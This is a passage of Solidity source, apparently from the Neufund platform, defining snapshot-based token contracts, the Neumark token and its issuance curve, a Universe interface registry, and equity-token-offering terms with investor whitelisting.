denom = d; do assembly { term := div(mul(term, euroUlps), denom) sum := add(sum, term) denom := add(denom, d) term := div(mul(term, euroUlps), denom) sum := sub(sum, term) denom := add(denom, d) } while (term != 0); return sum; } function cumulativeInverse(uint256 neumarkUlps, uint256 minEurUlps, uint256 maxEurUlps) public pure returns (uint256 euroUlps) { require(maxEurUlps >= minEurUlps); require(cumulative(minEurUlps) <= neumarkUlps); require(cumulative(maxEurUlps) >= neumarkUlps); uint256 min = minEurUlps; uint256 max = maxEurUlps; while (max > min) { uint256 mid = (max + min) / 2; uint256 val = cumulative(mid); if (val < neumarkUlps) { min = mid + 1; } else { max = mid; } } return max; } function neumarkCap() public pure returns (uint256) { return NEUMARK_CAP; } function initialRewardFraction() public pure returns (uint256) { return INITIAL_REWARD_FRACTION; } } contract IBasicToken { event Transfer( address indexed from, address indexed to, uint256 amount ); function totalSupply() public constant returns (uint256); function balanceOf(address owner) public constant returns (uint256 balance); function transfer(address to, uint256 amount) public returns (bool success); } contract Reclaimable is AccessControlled, AccessRoles { IBasicToken constant internal RECLAIM_ETHER = IBasicToken(0x0); function reclaim(IBasicToken token) public only(ROLE_RECLAIMER) { address reclaimer = msg.sender; if(token == RECLAIM_ETHER) { reclaimer.transfer(address(this).balance); } else { uint256 balance = token.balanceOf(this); require(token.transfer(reclaimer, balance)); } } } contract ISnapshotable { event LogSnapshotCreated(uint256 snapshotId); function createSnapshot() public returns (uint256); function currentSnapshotId() public constant returns (uint256); } contract MSnapshotPolicy { function mAdvanceSnapshotId() internal returns (uint256); function mCurrentSnapshotId() internal constant returns (uint256); } contract Daily is MSnapshotPolicy { uint256 private MAX_TIMESTAMP = 3938453320844195178974243141571391; constructor(uint256 start) internal { if (start > 0) { uint256 base = dayBase(uint128(block.timestamp)); require(start >= base); require(start < base + 2**128); } } function snapshotAt(uint256 timestamp) public constant returns (uint256) { require(timestamp < MAX_TIMESTAMP); return dayBase(uint128(timestamp)); } function mAdvanceSnapshotId() internal returns (uint256) { return mCurrentSnapshotId(); } function mCurrentSnapshotId() internal constant returns (uint256) { return dayBase(uint128(block.timestamp)); } function dayBase(uint128 timestamp) internal pure returns (uint256) { return 2**128 * (uint256(timestamp) / 1 days); } } contract DailyAndSnapshotable is Daily, ISnapshotable { uint256 private _currentSnapshotId; constructor(uint256 start) internal Daily(start) { if (start > 0) { _currentSnapshotId = start; } } function createSnapshot() public returns (uint256) { uint256 base = dayBase(uint128(block.timestamp)); if (base > _currentSnapshotId) { _currentSnapshotId = base; } else { _currentSnapshotId += 1; } emit LogSnapshotCreated(_currentSnapshotId); return _currentSnapshotId; } function mAdvanceSnapshotId() internal returns (uint256) { uint256 base = dayBase(uint128(block.timestamp)); if (base > _currentSnapshotId) { _currentSnapshotId = base; emit LogSnapshotCreated(base); } return _currentSnapshotId; } function mCurrentSnapshotId() internal constant returns (uint256) { uint256 base = dayBase(uint128(block.timestamp)); return base > _currentSnapshotId ? base : _currentSnapshotId; } } contract ITokenMetadata { function symbol() public constant returns (string); function name() public constant returns (string); function decimals() public constant returns (uint8); } contract TokenMetadata is ITokenMetadata { string private NAME; string private SYMBOL; uint8 private DECIMALS; string private VERSION; constructor( string tokenName, uint8 decimalUnits, string tokenSymbol, string version ) public { NAME = tokenName; SYMBOL = tokenSymbol; DECIMALS = decimalUnits; VERSION = version; } function name() public constant returns (string) { return NAME; } function symbol() public constant returns (string) { return SYMBOL; } function decimals() public constant returns (uint8) { return DECIMALS; } function version() public constant returns (string) { return VERSION; } } contract IERC20Allowance { event Approval( address indexed owner, address indexed spender, uint256 amount ); function allowance(address owner, address spender) public constant returns (uint256 remaining); function approve(address spender, uint256 amount) public returns (bool success); function transferFrom(address from, address to, uint256 amount) public returns (bool success); } contract IERC20Token is IBasicToken, IERC20Allowance { } contract MTokenAllowanceController { function mOnApprove( address owner, address spender, uint256 amount ) internal returns (bool allow); function mAllowanceOverride( address owner, address spender ) internal constant returns (uint256 allowance); } contract MTokenTransferController { function mOnTransfer( address from, address to, uint256 amount ) internal returns (bool allow); } contract MTokenController is MTokenTransferController, MTokenAllowanceController { } contract MTokenTransfer { function mTransfer( address from, address to, uint256 amount ) internal; } contract IERC677Callback { function receiveApproval( address from, uint256 amount, address token, bytes data ) public returns (bool success); } contract IERC677Allowance is IERC20Allowance { function approveAndCall(address spender, uint256 amount, bytes extraData) public returns (bool success); } contract IERC677Token is IERC20Token, IERC677Allowance { } contract TokenAllowance is MTokenTransfer, MTokenAllowanceController, IERC20Allowance, IERC677Token { mapping (address => mapping (address => uint256)) private _allowed; constructor() internal { } function allowance(address owner, address spender) public constant returns (uint256 remaining) { uint256 override = mAllowanceOverride(owner, spender); if (override > 0) { return override; } return _allowed[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool success) { require(mOnApprove(msg.sender, spender, amount)); require((amount == 0 || _allowed[msg.sender][spender] == 0) && mAllowanceOverride(msg.sender, spender) == 0); _allowed[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transferFrom(address from, address to, uint256 amount) public returns (bool success) { uint256 allowed = mAllowanceOverride(from, msg.sender); if (allowed == 0) { allowed = _allowed[from][msg.sender]; _allowed[from][msg.sender] -= amount; } require(allowed >= amount); mTransfer(from, to, amount); return true; } function approveAndCall( address spender, uint256 amount, bytes extraData ) public returns (bool success) { require(approve(spender, amount)); success = IERC677Callback(spender).receiveApproval( msg.sender, amount, this, extraData ); require(success); return true; } function mAllowanceOverride( address , address ) internal constant returns (uint256) { return 0; } } contract Snapshot is MSnapshotPolicy { struct Values { uint256 snapshotId; uint256 value; } function hasValue( Values[] storage values ) internal constant returns (bool) { return values.length > 0; } function hasValueAt( Values[] storage values, uint256 snapshotId ) internal constant returns (bool) { require(snapshotId <= mCurrentSnapshotId()); return values.length > 0 && values[0].snapshotId <= snapshotId; } function getValue( Values[] storage values, uint256 defaultValue ) internal constant returns (uint256) { if (values.length == 0) { return defaultValue; } else { uint256 last = values.length - 1; return values[last].value; } } function getValueAt( Values[] storage values, uint256 snapshotId, uint256 defaultValue ) internal constant returns (uint256) { require(snapshotId <= mCurrentSnapshotId()); if (values.length == 0) { return defaultValue; } uint256 last = values.length - 1; uint256 lastSnapshot = values[last].snapshotId; if (snapshotId >= lastSnapshot) { return values[last].value; } uint256 firstSnapshot = values[0].snapshotId; if (snapshotId < firstSnapshot) { return defaultValue; } uint256 min = 0; uint256 max = last; while (max > min) { uint256 mid = (max + min + 1) / 2; if (values[mid].snapshotId <= snapshotId) { min = mid; } else { max = mid - 1; } } return values[min].value; } function setValue( Values[] storage values, uint256 value ) internal { uint256 currentSnapshotId = mAdvanceSnapshotId(); bool empty = values.length == 0; if (empty) { values.push( Values({ snapshotId: currentSnapshotId, value: value }) ); return; } uint256 last = values.length - 1; bool hasNewSnapshot = values[last].snapshotId < currentSnapshotId; if (hasNewSnapshot) { bool unmodified = values[last].value == value; if (unmodified) { return; } values.push( Values({ snapshotId: currentSnapshotId, value: value }) ); } else { bool previousUnmodified = last > 0 && values[last - 1].value == value; if (previousUnmodified) { delete values[last]; values.length--; return; } values[last].value = value; } } } contract ITokenSnapshots { function totalSupplyAt(uint256 snapshotId) public constant returns(uint256); function balanceOfAt(address owner, uint256 snapshotId) public constant returns (uint256); function currentSnapshotId() public constant returns (uint256); } contract IClonedTokenParent is ITokenSnapshots { function parentToken() public constant returns(IClonedTokenParent parent); function parentSnapshotId() public constant returns(uint256 snapshotId); } contract BasicSnapshotToken is MTokenTransfer, MTokenTransferController, IClonedTokenParent, IBasicToken, Snapshot { IClonedTokenParent private PARENT_TOKEN; uint256 private PARENT_SNAPSHOT_ID; mapping (address => Values[]) internal _balances; Values[] internal _totalSupplyValues; constructor( IClonedTokenParent parentToken, uint256 parentSnapshotId ) Snapshot() internal { PARENT_TOKEN = parentToken; if (parentToken == address(0)) { require(parentSnapshotId == 0); } else { if (parentSnapshotId == 0) { require(parentToken.currentSnapshotId() > 0); PARENT_SNAPSHOT_ID = parentToken.currentSnapshotId() - 1; } else { PARENT_SNAPSHOT_ID = parentSnapshotId; } } } function totalSupply() public constant returns (uint256) { return totalSupplyAtInternal(mCurrentSnapshotId()); } function balanceOf(address owner) public constant returns (uint256 balance) { return balanceOfAtInternal(owner, mCurrentSnapshotId()); } function transfer(address to, uint256 amount) public returns (bool success) { mTransfer(msg.sender, to, amount); return true; } function totalSupplyAt(uint256 snapshotId) public constant returns(uint256) { return totalSupplyAtInternal(snapshotId); } function balanceOfAt(address owner, uint256 snapshotId) public constant returns (uint256) { return balanceOfAtInternal(owner, snapshotId); } function currentSnapshotId() public constant returns (uint256) { return mCurrentSnapshotId(); } function parentToken() public constant returns(IClonedTokenParent parent) { return PARENT_TOKEN; } function parentSnapshotId() public constant returns(uint256 snapshotId) { return PARENT_SNAPSHOT_ID; } function allBalancesOf(address owner) external constant returns (uint256[2][]) { Values[] storage values = _balances[owner]; uint256[2][] memory balances = new uint256[2][](values.length); for(uint256 ii = 0; ii < values.length; ++ii) { balances[ii] = [values[ii].snapshotId, values[ii].value]; } return balances; } function totalSupplyAtInternal(uint256 snapshotId) internal constant returns(uint256) { Values[] storage values = _totalSupplyValues; if (hasValueAt(values, snapshotId)) { return getValueAt(values, snapshotId, 0); } if (address(PARENT_TOKEN) != 0) { uint256 earlierSnapshotId = PARENT_SNAPSHOT_ID > snapshotId ? snapshotId : PARENT_SNAPSHOT_ID; return PARENT_TOKEN.totalSupplyAt(earlierSnapshotId); } return 0; } function balanceOfAtInternal(address owner, uint256 snapshotId) internal constant returns (uint256) { Values[] storage values = _balances[owner]; if (hasValueAt(values, snapshotId)) { return getValueAt(values, snapshotId, 0); } if (PARENT_TOKEN != address(0)) { uint256 earlierSnapshotId = PARENT_SNAPSHOT_ID > snapshotId ? snapshotId : PARENT_SNAPSHOT_ID; return PARENT_TOKEN.balanceOfAt(owner, earlierSnapshotId); } return 0; } function mTransfer( address from, address to, uint256 amount ) internal { require(to != address(0)); require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId()); require(mOnTransfer(from, to, amount)); uint256 previousBalanceFrom = balanceOf(from); require(previousBalanceFrom >= amount); uint256 newBalanceFrom = previousBalanceFrom - amount; setValue(_balances[from], newBalanceFrom); uint256 previousBalanceTo = balanceOf(to); uint256 newBalanceTo = previousBalanceTo + amount; assert(newBalanceTo >= previousBalanceTo); setValue(_balances[to], newBalanceTo); emit Transfer(from, to, amount); } } contract MTokenMint { function mGenerateTokens(address owner, uint256 amount) internal; function mDestroyTokens(address owner, uint256 amount) internal; } contract MintableSnapshotToken is BasicSnapshotToken, MTokenMint { constructor( IClonedTokenParent parentToken, uint256 parentSnapshotId ) BasicSnapshotToken(parentToken, parentSnapshotId) internal {} function mGenerateTokens(address owner, uint256 amount) internal { require(owner != address(0)); require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId()); uint256 curTotalSupply = totalSupply(); uint256 newTotalSupply = curTotalSupply + amount; require(newTotalSupply >= curTotalSupply); uint256 previousBalanceTo = balanceOf(owner); uint256 newBalanceTo = previousBalanceTo + amount; assert(newBalanceTo >= previousBalanceTo); setValue(_totalSupplyValues, newTotalSupply); setValue(_balances[owner], newBalanceTo); emit Transfer(0, owner, amount); } function mDestroyTokens(address owner, uint256 amount) internal { require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId()); uint256 curTotalSupply = totalSupply(); require(curTotalSupply >= amount); uint256 previousBalanceFrom = balanceOf(owner); require(previousBalanceFrom >= amount); uint256 newTotalSupply = curTotalSupply - amount; uint256 newBalanceFrom = previousBalanceFrom - amount; setValue(_totalSupplyValues, newTotalSupply); setValue(_balances[owner], newBalanceFrom); emit Transfer(owner, 0, amount); } } contract StandardSnapshotToken is MintableSnapshotToken, TokenAllowance { constructor( IClonedTokenParent parentToken, uint256 parentSnapshotId ) MintableSnapshotToken(parentToken, parentSnapshotId) TokenAllowance() internal {} } contract IERC223LegacyCallback { function onTokenTransfer(address from, uint256 amount, bytes data) public; } contract IERC223Token is IERC20Token, ITokenMetadata { function transfer(address to, uint256 amount, bytes data) public returns (bool); } contract Neumark is AccessControlled, AccessRoles, Agreement, DailyAndSnapshotable, StandardSnapshotToken, TokenMetadata, IERC223Token, NeumarkIssuanceCurve, Reclaimable, IsContract { string private constant TOKEN_NAME = "Neumark"; uint8 private constant TOKEN_DECIMALS = 18; string private constant TOKEN_SYMBOL = "NEU"; string private constant VERSION = "NMK_1.0"; bool private _transferEnabled = false; uint256 private _totalEurUlps; event LogNeumarksIssued( address indexed owner, uint256 euroUlps, uint256 neumarkUlps ); event LogNeumarksBurned( address indexed owner, uint256 euroUlps, uint256 neumarkUlps ); constructor( IAccessPolicy accessPolicy, IEthereumForkArbiter forkArbiter ) AccessRoles() Agreement(accessPolicy, forkArbiter) StandardSnapshotToken( IClonedTokenParent(0x0), 0 ) TokenMetadata( TOKEN_NAME, TOKEN_DECIMALS, TOKEN_SYMBOL, VERSION ) DailyAndSnapshotable(0) NeumarkIssuanceCurve() Reclaimable() public {} function issueForEuro(uint256 euroUlps) public only(ROLE_NEUMARK_ISSUER) acceptAgreement(msg.sender) returns (uint256) { require(_totalEurUlps + euroUlps >= _totalEurUlps); uint256 neumarkUlps = incremental(_totalEurUlps, euroUlps); _totalEurUlps += euroUlps; mGenerateTokens(msg.sender, neumarkUlps); emit LogNeumarksIssued(msg.sender, euroUlps, neumarkUlps); return neumarkUlps; } function distribute(address to, uint256 neumarkUlps) public only(ROLE_NEUMARK_ISSUER) acceptAgreement(to) { mTransfer(msg.sender, to, neumarkUlps); } function burn(uint256 neumarkUlps) public only(ROLE_NEUMARK_BURNER) { burnPrivate(neumarkUlps, 0, _totalEurUlps); } function burn(uint256 neumarkUlps, uint256 minEurUlps, uint256 maxEurUlps) public only(ROLE_NEUMARK_BURNER) { burnPrivate(neumarkUlps, minEurUlps, maxEurUlps); } function enableTransfer(bool enabled) public only(ROLE_TRANSFER_ADMIN) { _transferEnabled = enabled; } function createSnapshot() public only(ROLE_SNAPSHOT_CREATOR) returns (uint256) { return DailyAndSnapshotable.createSnapshot(); } function transferEnabled() public constant returns (bool) { return _transferEnabled; } function totalEuroUlps() public constant returns (uint256) { return _totalEurUlps; } function incremental(uint256 euroUlps) public constant returns (uint256 neumarkUlps) { return incremental(_totalEurUlps, euroUlps); } function transfer(address to, uint256 amount, bytes data) public returns (bool) { BasicSnapshotToken.mTransfer(msg.sender, to, amount); if (isContract(to)) { IERC223LegacyCallback(to).onTokenTransfer(msg.sender, amount, data); } return true; } function mOnTransfer( address from, address, uint256 ) internal acceptAgreement(from) returns (bool allow) { return _transferEnabled || accessPolicy().allowed(msg.sender, ROLE_NEUMARK_ISSUER, this, msg.sig); } function mOnApprove( address owner, address, uint256 ) internal acceptAgreement(owner) returns (bool allow) { return true; } function burnPrivate(uint256 burnNeumarkUlps, uint256 minEurUlps, uint256 maxEurUlps) private { uint256 prevEuroUlps = _totalEurUlps; mDestroyTokens(msg.sender, burnNeumarkUlps); _totalEurUlps = cumulativeInverse(totalSupply(), minEurUlps, maxEurUlps); assert(prevEuroUlps >= _totalEurUlps); uint256 euroUlps = prevEuroUlps - _totalEurUlps; emit LogNeumarksBurned(msg.sender, euroUlps, burnNeumarkUlps); } } contract IERC223Callback { function tokenFallback(address from, uint256 amount, bytes data) public; } contract IFeeDisbursal is IERC223Callback { } contract IPlatformPortfolio is IERC223Callback { } contract ITokenExchangeRateOracle { function getExchangeRate(address numeratorToken, address denominatorToken) public constant returns (uint256 rateFraction, uint256 timestamp); function getExchangeRates(address[] numeratorTokens, address[] denominatorTokens) public constant returns (uint256[] rateFractions, uint256[] timestamps); } contract Universe is Agreement, IContractId, KnownInterfaces { event LogSetSingleton( bytes4 interfaceId, address instance, address replacedInstance ); event LogSetCollectionInterface( bytes4 interfaceId, address instance, bool isSet ); mapping(bytes4 => address) private _singletons; mapping(bytes4 => mapping(address => bool)) private _collections; mapping(address => bytes4[]) private _instances; constructor( IAccessPolicy accessPolicy, IEthereumForkArbiter forkArbiter ) Agreement(accessPolicy, forkArbiter) public { setSingletonPrivate(KNOWN_INTERFACE_ACCESS_POLICY, accessPolicy); setSingletonPrivate(KNOWN_INTERFACE_FORK_ARBITER, forkArbiter); } function getSingleton(bytes4 interfaceId) public constant returns (address) { return _singletons[interfaceId]; } function getManySingletons(bytes4[] interfaceIds) public constant returns (address[]) { address[] memory addresses = new address[](interfaceIds.length); uint256 idx; while(idx < interfaceIds.length) { addresses[idx] = _singletons[interfaceIds[idx]]; idx += 1; } return addresses; } function isSingleton(bytes4 interfaceId, address instance) public constant returns (bool) { return _singletons[interfaceId] == instance; } function isInterfaceCollectionInstance(bytes4 interfaceId, address instance) public constant returns (bool) { return _collections[interfaceId][instance]; } function isAnyOfInterfaceCollectionInstance(bytes4[] interfaceIds, address instance) public constant returns (bool) { uint256 idx; while(idx < interfaceIds.length) { if (_collections[interfaceIds[idx]][instance]) { return true; } idx += 1; } return false; } function getInterfacesOfInstance(address instance) public constant returns (bytes4[] interfaces) { return _instances[instance]; } function setSingleton(bytes4 interfaceId, address instance) public only(ROLE_UNIVERSE_MANAGER) { setSingletonPrivate(interfaceId, instance); } function setManySingletons(bytes4[] interfaceIds, address[] instances) public only(ROLE_UNIVERSE_MANAGER) { require(interfaceIds.length == instances.length); uint256 idx; while(idx < interfaceIds.length) { setSingletonPrivate(interfaceIds[idx], instances[idx]); idx += 1; } } function setCollectionInterface(bytes4 interfaceId, address instance, bool set) public only(ROLE_UNIVERSE_MANAGER) { setCollectionPrivate(interfaceId, instance, set); } function setInterfaceInManyCollections(bytes4[] interfaceIds, address instance, bool set) public only(ROLE_UNIVERSE_MANAGER) { uint256 idx; while(idx < interfaceIds.length) { setCollectionPrivate(interfaceIds[idx], instance, set); idx += 1; } } function setCollectionsInterfaces(bytes4[] interfaceIds, address[] instances, bool[] set_flags) public only(ROLE_UNIVERSE_MANAGER) { require(interfaceIds.length == instances.length); require(interfaceIds.length == set_flags.length); uint256 idx; while(idx < interfaceIds.length) { setCollectionPrivate(interfaceIds[idx], instances[idx], set_flags[idx]); idx += 1; } } function contractId() public pure returns (bytes32 id, uint256 version) { return (0x8b57bfe21a3ef4854e19d702063b6cea03fa514162f8ff43fde551f06372fefd, 0); } function accessPolicy() public constant returns (IAccessPolicy) { return IAccessPolicy(_singletons[KNOWN_INTERFACE_ACCESS_POLICY]); } function forkArbiter() public constant returns (IEthereumForkArbiter) { return IEthereumForkArbiter(_singletons[KNOWN_INTERFACE_FORK_ARBITER]); } function neumark() public constant returns (Neumark) { return Neumark(_singletons[KNOWN_INTERFACE_NEUMARK]); } function etherToken() public constant returns (IERC223Token) { return IERC223Token(_singletons[KNOWN_INTERFACE_ETHER_TOKEN]); } function euroToken() public constant returns (IERC223Token) { return IERC223Token(_singletons[KNOWN_INTERFACE_EURO_TOKEN]); } function etherLock() public constant returns (address) { return _singletons[KNOWN_INTERFACE_ETHER_LOCK]; } function euroLock() public constant returns (address) { return _singletons[KNOWN_INTERFACE_EURO_LOCK]; } function icbmEtherLock() public constant returns (address) { return _singletons[KNOWN_INTERFACE_ICBM_ETHER_LOCK]; } function icbmEuroLock() public constant returns (address) { return _singletons[KNOWN_INTERFACE_ICBM_EURO_LOCK]; } function identityRegistry() public constant returns (address) { return IIdentityRegistry(_singletons[KNOWN_INTERFACE_IDENTITY_REGISTRY]); } function tokenExchangeRateOracle() public constant returns (address) { return ITokenExchangeRateOracle(_singletons[KNOWN_INTERFACE_TOKEN_EXCHANGE_RATE_ORACLE]); } function feeDisbursal() public constant returns (address) { return IFeeDisbursal(_singletons[KNOWN_INTERFACE_FEE_DISBURSAL]); } function platformPortfolio() public constant returns (address) { return IPlatformPortfolio(_singletons[KNOWN_INTERFACE_PLATFORM_PORTFOLIO]); } function tokenExchange() public constant returns (address) { return _singletons[KNOWN_INTERFACE_TOKEN_EXCHANGE]; } function gasExchange() public constant returns (address) { return _singletons[KNOWN_INTERFACE_GAS_EXCHANGE]; } function platformTerms() public constant returns (address) { return _singletons[KNOWN_INTERFACE_PLATFORM_TERMS]; } function setSingletonPrivate(bytes4 interfaceId, address instance) private { require(interfaceId != KNOWN_INTERFACE_UNIVERSE, "NF_UNI_NO_UNIVERSE_SINGLETON"); address replacedInstance = _singletons[interfaceId]; if (replacedInstance != instance) { dropInstance(replacedInstance, interfaceId); addInstance(instance, interfaceId); _singletons[interfaceId] = instance; } emit LogSetSingleton(interfaceId, instance, replacedInstance); } function setCollectionPrivate(bytes4 interfaceId, address instance, bool set) private { if (_collections[interfaceId][instance] == set) { return; } _collections[interfaceId][instance] = set; if (set) { addInstance(instance, interfaceId); } else { dropInstance(instance, interfaceId); } emit LogSetCollectionInterface(interfaceId, instance, set); } function addInstance(address instance, bytes4 interfaceId) private { if (instance == address(0)) { return; } bytes4[] storage current = _instances[instance]; uint256 idx; while(idx < current.length) { if (current[idx] == interfaceId) return; idx += 1; } current.push(interfaceId); } function dropInstance(address instance, bytes4 interfaceId) private { if (instance == address(0)) { return; } bytes4[] storage current = _instances[instance]; uint256 idx; uint256 last = current.length - 1; while(idx <= last) { if (current[idx] == interfaceId) { if (idx < last) { current[idx] = current[last]; } current.length -= 1; return; } idx += 1; } } } contract ETODurationTerms is IContractId { uint32 public WHITELIST_DURATION; uint32 public PUBLIC_DURATION; uint32 public SIGNING_DURATION; uint32 public CLAIM_DURATION; constructor( uint32 whitelistDuration, uint32 publicDuration, uint32 signingDuration, uint32 claimDuration ) public { WHITELIST_DURATION = whitelistDuration; PUBLIC_DURATION = publicDuration; SIGNING_DURATION = signingDuration; CLAIM_DURATION = claimDuration; } function contractId() public pure returns (bytes32 id, uint256 version) { return (0x5fb50201b453799d95f8a80291b940f1c543537b95bff2e3c78c2e36070494c0, 0); } } contract ETOTokenTerms is IContractId { uint256 public MIN_NUMBER_OF_TOKENS; uint256 public MAX_NUMBER_OF_TOKENS; uint256 public TOKEN_PRICE_EUR_ULPS; uint256 public MAX_NUMBER_OF_TOKENS_IN_WHITELIST; uint256 public constant EQUITY_TOKENS_PER_SHARE = 10000; uint8 public constant EQUITY_TOKENS_PRECISION = 0; constructor( uint256 minNumberOfTokens, uint256 maxNumberOfTokens, uint256 tokenPriceEurUlps, uint256 maxNumberOfTokensInWhitelist ) public { require(maxNumberOfTokensInWhitelist <= maxNumberOfTokens); require(maxNumberOfTokens >= minNumberOfTokens); require(minNumberOfTokens >= EQUITY_TOKENS_PER_SHARE, "NF_ETO_TERMS_ONE_SHARE"); MIN_NUMBER_OF_TOKENS = minNumberOfTokens; MAX_NUMBER_OF_TOKENS = maxNumberOfTokens; TOKEN_PRICE_EUR_ULPS = tokenPriceEurUlps; MAX_NUMBER_OF_TOKENS_IN_WHITELIST = maxNumberOfTokensInWhitelist; } function contractId() public pure returns (bytes32 id, uint256 version) { return (0x591e791aab2b14c80194b729a2abcba3e8cce1918be4061be170e7223357ae5c, 0); } } contract ETOTerms is IdentityRecord, Math, IContractId { struct WhitelistTicket { uint128 discountAmountEurUlps; uint128 fullTokenPriceFrac; } bytes32 private constant EMPTY_STRING_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; uint256 public constant MIN_QUALIFIED_INVESTOR_TICKET_EUR_ULPS = 100000 * 10**18; ETODurationTerms public DURATION_TERMS; ETOTokenTerms public TOKEN_TERMS; uint256 public EXISTING_COMPANY_SHARES; uint256 public SHARE_NOMINAL_VALUE_EUR_ULPS; uint256 public MIN_TICKET_EUR_ULPS; uint256 public MAX_TICKET_EUR_ULPS; uint256 public MAX_TICKET_SIMPLE_EUR_ULPS; bool public ENABLE_TRANSFERS_ON_SUCCESS; bool public ALLOW_RETAIL_INVESTORS; uint256 public WHITELIST_DISCOUNT_FRAC; uint256 public PUBLIC_DISCOUNT_FRAC; string public INVESTOR_OFFERING_DOCUMENT_URL; ShareholderRights public SHAREHOLDER_RIGHTS; string public EQUITY_TOKEN_NAME; string public EQUITY_TOKEN_SYMBOL; address public WHITELIST_MANAGER; IIdentityRegistry public IDENTITY_REGISTRY; Universe public UNIVERSE; uint256 private MIN_NUMBER_OF_TOKENS; uint256 private MAX_NUMBER_OF_TOKENS; uint256 private TOKEN_PRICE_EUR_ULPS; mapping (address => WhitelistTicket) private _whitelist; modifier onlyWhitelistManager() { require(msg.sender == WHITELIST_MANAGER); _; } event LogInvestorWhitelisted( address indexed investor, uint256 discountAmountEurUlps, uint256 fullTokenPriceFrac ); constructor( Universe universe, ETODurationTerms durationTerms, ETOTokenTerms tokenTerms, uint256 existingCompanyShares, uint256 minTicketEurUlps, uint256 maxTicketEurUlps, bool allowRetailInvestors, bool enableTransfersOnSuccess, string investorOfferingDocumentUrl, ShareholderRights shareholderRights, string equityTokenName, string equityTokenSymbol, uint256 shareNominalValueEurUlps, uint256 whitelistDiscountFrac, uint256 publicDiscountFrac ) public { require(durationTerms != address(0)); require(tokenTerms != address(0)); require(existingCompanyShares > 0); require(keccak256(abi.encodePacked(investorOfferingDocumentUrl)) != EMPTY_STRING_HASH); require(keccak256(abi.encodePacked(equityTokenName)) != EMPTY_STRING_HASH); require(keccak256(abi.encodePacked(equityTokenSymbol)) != EMPTY_STRING_HASH); require(shareholderRights != address(0)); require(shareNominalValueEurUlps > 0); require(whitelistDiscountFrac >= 0 && whitelistDiscountFrac <= 99*10**16); require(publicDiscountFrac >= 0 && publicDiscountFrac <= 99*10**16); require(minTicketEurUlps<=maxTicketEurUlps); MIN_NUMBER_OF_TOKENS = tokenTerms.MIN_NUMBER_OF_TOKENS(); MAX_NUMBER_OF_TOKENS = tokenTerms.MAX_NUMBER_OF_TOKENS(); TOKEN_PRICE_EUR_ULPS = tokenTerms.TOKEN_PRICE_EUR_ULPS(); DURATION_TERMS = durationTerms; TOKEN_TERMS = tokenTerms; EXISTING_COMPANY_SHARES = existingCompanyShares; MIN_TICKET_EUR_ULPS = minTicketEurUlps; MAX_TICKET_EUR_ULPS = maxTicketEurUlps; ALLOW_RETAIL_INVESTORS = allowRetailInvestors; ENABLE_TRANSFERS_ON_SUCCESS = enableTransfersOnSuccess; INVESTOR_OFFERING_DOCUMENT_URL = investorOfferingDocumentUrl; SHAREHOLDER_RIGHTS = shareholderRights; EQUITY_TOKEN_NAME = equityTokenName; EQUITY_TOKEN_SYMBOL = equityTokenSymbol; SHARE_NOMINAL_VALUE_EUR_ULPS = shareNominalValueEurUlps; WHITELIST_DISCOUNT_FRAC = whitelistDiscountFrac; PUBLIC_DISCOUNT_FRAC = publicDiscountFrac; WHITELIST_MANAGER = msg.sender; IDENTITY_REGISTRY = IIdentityRegistry(universe.identityRegistry()); UNIVERSE = universe; } function calculateTokenAmount(uint256 , uint256 committedEurUlps) public constant returns (uint256 tokenAmountInt) { return committedEurUlps / calculatePriceFraction(10**18 - PUBLIC_DISCOUNT_FRAC); } function calculateEurUlpsAmount(uint256 , uint256 tokenAmountInt) public constant returns (uint256 committedEurUlps) { return mul(tokenAmountInt, calculatePriceFraction(10**18 - PUBLIC_DISCOUNT_FRAC)); } function ESTIMATED_MIN_CAP_EUR_ULPS() public constant returns(uint256) { return calculateEurUlpsAmount(0, MIN_NUMBER_OF_TOKENS); } function ESTIMATED_MAX_CAP_EUR_ULPS() public constant returns(uint256) { return calculateEurUlpsAmount(0, MAX_NUMBER_OF_TOKENS); } function calculatePriceFraction(uint256 priceFrac) public constant returns(uint256) { if (priceFrac == 1) { return TOKEN_PRICE_EUR_ULPS; } else { return decimalFraction(priceFrac, TOKEN_PRICE_EUR_ULPS); } } function addWhitelisted( address[] investors, uint256[] discountAmountsEurUlps, uint256[] discountsFrac ) external onlyWhitelistManager { require(investors.length == discountAmountsEurUlps.length); require(investors.length == discountsFrac.length); for (uint256 i = 0; i < investors.length; i += 1) { addWhitelistInvestorPrivate(investors[i], discountAmountsEurUlps[i], discountsFrac[i]); } } function whitelistTicket(address investor) public constant returns (bool isWhitelisted, uint256 discountAmountEurUlps, uint256 fullTokenPriceFrac) { WhitelistTicket storage wlTicket = _whitelist[investor]; isWhitelisted = wlTicket.fullTokenPriceFrac > 0; discountAmountEurUlps = wlTicket.discountAmountEurUlps; fullTokenPriceFrac = wlTicket.fullTokenPriceFrac; } function calculateContribution( address investor, uint256 totalContributedEurUlps, uint256 existingInvestorContributionEurUlps, uint256 newInvestorContributionEurUlps, bool applyWhitelistDiscounts ) public constant returns ( bool isWhitelisted, bool isEligible, uint256 minTicketEurUlps, uint256 maxTicketEurUlps, uint256 equityTokenInt, uint256 fixedSlotEquityTokenInt ) { ( isWhitelisted, minTicketEurUlps, maxTicketEurUlps, equityTokenInt, fixedSlotEquityTokenInt ) = calculateContributionPrivate( investor, totalContributedEurUlps, existingInvestorContributionEurUlps, newInvestorContributionEurUlps, applyWhitelistDiscounts); IdentityClaims memory claims = deserializeClaims(IDENTITY_REGISTRY.getClaims(investor)); isEligible = claims.isVerified && !claims.accountFrozen; } function equityTokensToShares(uint256 amount) public constant returns (uint256) { return divRound(amount, TOKEN_TERMS.EQUITY_TOKENS_PER_SHARE()); } function requireValidTerms(PlatformTerms platformTerms) public constant returns (bool) { if (ALLOW_RETAIL_INVESTORS) { require(!ENABLE_TRANSFERS_ON_SUCCESS, "NF_MUST_DISABLE_TRANSFERS"); } else { require(MIN_TICKET_EUR_ULPS >= MIN_QUALIFIED_INVESTOR_TICKET_EUR_ULPS, "NF_MIN_QUALIFIED_INVESTOR_TICKET"); } require(MIN_TICKET_EUR_ULPS >= TOKEN_TERMS.TOKEN_PRICE_EUR_ULPS(), "NF_MIN_TICKET_LT_TOKEN_PRICE"); require(ESTIMATED_MAX_CAP_EUR_ULPS() >= MIN_TICKET_EUR_ULPS, 